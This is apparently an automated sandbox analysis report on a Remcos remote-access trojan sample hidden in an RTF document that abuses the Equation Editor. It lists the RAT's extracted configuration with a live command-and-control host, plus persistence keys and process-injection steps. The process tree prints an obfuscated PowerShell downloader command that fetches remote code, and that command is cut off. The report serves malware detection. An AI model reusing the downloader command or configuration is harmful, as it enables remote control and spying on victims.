remcos | fb230da1a1bb4fe1373cc779a3991f4fb7a3c8e1dff6265706e91cfac2d72552

Analysis

max time kernel
156s
max time network
137s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
21-03-2024 17:44

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General

Target

82b9791b7ce0990ba12c91af471f0ef3.rtf
Size

62KB
MD5

82b9791b7ce0990ba12c91af471f0ef3
SHA1

3f4ec45cc9d8bfa17c0ac166c164d87af302b991
SHA256

fb230da1a1bb4fe1373cc779a3991f4fb7a3c8e1dff6265706e91cfac2d72552
SHA512

cc58f2f8eb25e2456faf2593557dc78616a3245f72c56f942d5896e1e09fc55146c2b6203c43c175a0de20c6e1306412837c1cac27d8a188730741cdec7b639e
SSDEEP

768:tIoiPv9xZnRsyU5cpTgfgqei7QZ3ckyQCj3WZxV4vCql6ioadDle:tIPFRcEKei7g1C7CW36ilfe

Score

10^/10

remcos remotehost persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

sembe.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
notess
keylog_path
%AppData%
mouse_option
false
mutex
Rmc-P0AEMX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 7 IoCs

Processes:

EQNEDT32.EXEWScript.exepowershell.exe

flow pid process

3 2704 EQNEDT32.EXE
7 2488 WScript.exe
9 2488 WScript.exe
11 2028 powershell.exe
13 2028 powershell.exe
15 2028 powershell.exe
18 2028 powershell.exe

flow	pid	process
3	2704	EQNEDT32.EXE
7	2488	WScript.exe
9	2488	WScript.exe
11	2028	powershell.exe
13	2028	powershell.exe
15	2028	powershell.exe
18	2028	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\BBG.vbs"	powershell.exe

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2028 set thread context of 1056 2028 powershell.exe RegAsm.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
exploit

Exploitation for Client Execution
T1203

Processes:

EQNEDT32.EXE

pid process

2704 EQNEDT32.EXE

description	pid	process	target process
PID 2028 set thread context of 1056	2028	powershell.exe	RegAsm.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

pid	process
2704	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-406356229-2805545415-1236085040-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

2768 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2672 powershell.exe
2028 powershell.exe
1968 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2672 powershell.exe
Token: SeDebugPrivilege 2028 powershell.exe
Token: SeDebugPrivilege 1968 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

WINWORD.EXERegAsm.exe

pid process

2768 WINWORD.EXE
2768 WINWORD.EXE
1056 RegAsm.exe

pid	process
2768	WINWORD.EXE

pid	process
2672	powershell.exe
2028	powershell.exe
1968	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2672	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	1968	powershell.exe

pid	process
2768	WINWORD.EXE
2768	WINWORD.EXE
1056	RegAsm.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

EQNEDT32.EXEWINWORD.EXEWScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2704 wrote to memory of 2488	2704	EQNEDT32.EXE	WScript.exe
PID 2704 wrote to memory of 2488	2704	EQNEDT32.EXE	WScript.exe
PID 2704 wrote to memory of 2488	2704	EQNEDT32.EXE	WScript.exe
PID 2704 wrote to memory of 2488	2704	EQNEDT32.EXE	WScript.exe
PID 2768 wrote to memory of 2476	2768	WINWORD.EXE	splwow64.exe
PID 2768 wrote to memory of 2476	2768	WINWORD.EXE	splwow64.exe
PID 2768 wrote to memory of 2476	2768	WINWORD.EXE	splwow64.exe
PID 2768 wrote to memory of 2476	2768	WINWORD.EXE	splwow64.exe
PID 2488 wrote to memory of 2672	2488	WScript.exe	powershell.exe
PID 2488 wrote to memory of 2672	2488	WScript.exe	powershell.exe
PID 2488 wrote to memory of 2672	2488	WScript.exe	powershell.exe
PID 2488 wrote to memory of 2672	2488	WScript.exe	powershell.exe
PID 2672 wrote to memory of 2028	2672	powershell.exe	powershell.exe
PID 2672 wrote to memory of 2028	2672	powershell.exe	powershell.exe
PID 2672 wrote to memory of 2028	2672	powershell.exe	powershell.exe
PID 2672 wrote to memory of 2028	2672	powershell.exe	powershell.exe
PID 2028 wrote to memory of 1968	2028	powershell.exe	powershell.exe
PID 2028 wrote to memory of 1968	2028	powershell.exe	powershell.exe
PID 2028 wrote to memory of 1968	2028	powershell.exe	powershell.exe
PID 2028 wrote to memory of 1968	2028	powershell.exe	powershell.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe
PID 2028 wrote to memory of 1056	2028	powershell.exe	RegAsm.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\82b9791b7ce0990ba12c91af471f0ef3.rtf"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2768

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2476

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2704

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\imagepixelovesu.vbs"
2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2488

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDUDgTreNQDgTrevDgTreDkDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcD